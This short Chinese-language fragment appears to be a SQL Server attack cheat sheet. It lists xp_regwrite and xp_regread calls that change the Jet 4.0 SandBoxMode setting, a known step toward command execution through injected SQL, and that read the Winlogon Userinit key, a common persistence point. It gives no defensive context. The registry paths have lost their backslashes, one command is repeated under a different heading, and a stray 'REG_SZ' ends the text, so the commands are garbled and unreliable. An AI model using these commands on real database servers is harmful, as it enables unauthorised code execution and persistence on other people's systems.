首先开启沙盘模式：
exec master..xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftJet4.0Engines","SandBoxMode","REG_DWORD",1
读注册表
exec master..xp_regread "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon","Userinit"
写注册表
exec master..xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftJet4.0Engines","SandBoxMode","REG_DWORD",1
REG_SZ